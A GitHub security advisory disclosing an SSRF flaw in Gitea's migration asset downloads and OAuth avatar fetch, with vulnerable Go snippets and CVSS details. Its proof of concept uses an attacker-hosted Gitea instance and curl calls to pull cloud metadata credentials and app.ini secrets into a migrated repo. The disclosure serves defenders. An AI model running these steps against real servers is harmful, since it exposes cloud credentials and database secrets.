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Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata

Moderate severity GitHub Reviewed Published Jul 13, 2026 in go-gitea/gitea • Updated Jul 21, 2026

Package

gomod code.gitea.io/gitea (Go)

Affected versions

< 1.27.0

Patched versions

1.27.0

Description

Summary

Gitea has robust SSRF protection via hostmatcher.NewDialContext() for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw http.Get() (Go's DefaultClient) which completely bypasses this protection, enabling SSRF to internal services and local file read via the file:// scheme.

Vulnerable Code

File: modules/uri/uri.go (line 32) -- Core vulnerability

func Open(uriStr string) (io.ReadCloser, error) {
    u, err := url.Parse(uriStr)
    switch strings.ToLower(u.Scheme) {
    case "http", "https":
        f, err := http.Get(uriStr)   // RAW http.Get -- no hostmatcher filtering
        return f.Body, nil
    case "file":
        return os.Open(u.Path)        // LOCAL FILE READ via file:// scheme
    }
}

Callers in migration path:

  • services/migrations/gitea_uploader.go:340 -- uri.Open(*asset.DownloadURL) for release assets
  • services/migrations/gitea_uploader.go:586 -- uri.Open(pr.PatchURL) for PR patches

File: services/migrations/dump.go (lines 312, 453)

// Line 312 -- release asset download
resp, err := http.Get(*asset.DownloadURL)

// Line 453 -- PR patch download (with self-documenting TODO)
resp, err := http.Get(u) // TODO: This probably needs to use the downloader

File: routers/web/auth/oauth.go (line 306)

func oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {
    resp, err := http.Get(url)    // RAW http.Get -- no hostmatcher

Contrast with protected migration clone (same codebase):

// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher
transport.DialContext = hostmatcher.NewDialContext("migration", allowList, blockList, ...)

PoC

# Step 1: Set up attacker Gitea instance with malicious release asset URLs
# Create a repo on evil.gitea.attacker.com with a release asset whose
# download_url points to internal services:

# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role
# Or: file:///etc/gitea/app.ini (local file read)

# Step 2: Admin triggers migration from attacker's Gitea instance
curl -s -X POST "https://target-gitea.com/api/v1/repos/migrate" \
  -H "Authorization: token ADMIN_API_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "clone_addr": "https://evil.gitea.attacker.com/user/repo.git",
    "repo_name": "migrated-repo",
    "repo_owner": "admin",
    "service": "gitea"
  }'

# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()
# Cloud metadata is saved as the release asset attachment in the migrated repo
# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme

# Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data
curl -s "https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt"

Impact

  • Cloud metadata theft: 169.254.169.254 reachable via unfiltered http.Get() (AWS IMDSv1 credentials, GCP tokens)
  • Local file read: file:// scheme in uri.Open() reads /etc/gitea/app.ini (database credentials, JWT signing secrets, SMTP passwords)
  • Internal service scanning: Reach 127.0.0.1, 10.x, 172.16-31.x, 192.168.x networks
  • Bypasses existing SSRF protection: The hostmatcher dialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected
  • Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source

References

@bircni bircni published to go-gitea/gitea Jul 13, 2026
Published to the GitHub Advisory Database Jul 21, 2026
Reviewed Jul 21, 2026
Last updated Jul 21, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required High
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

EPSS score

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-59765

GHSA ID

GHSA-2wm4-vwp6-v7xc

Source code

Credits

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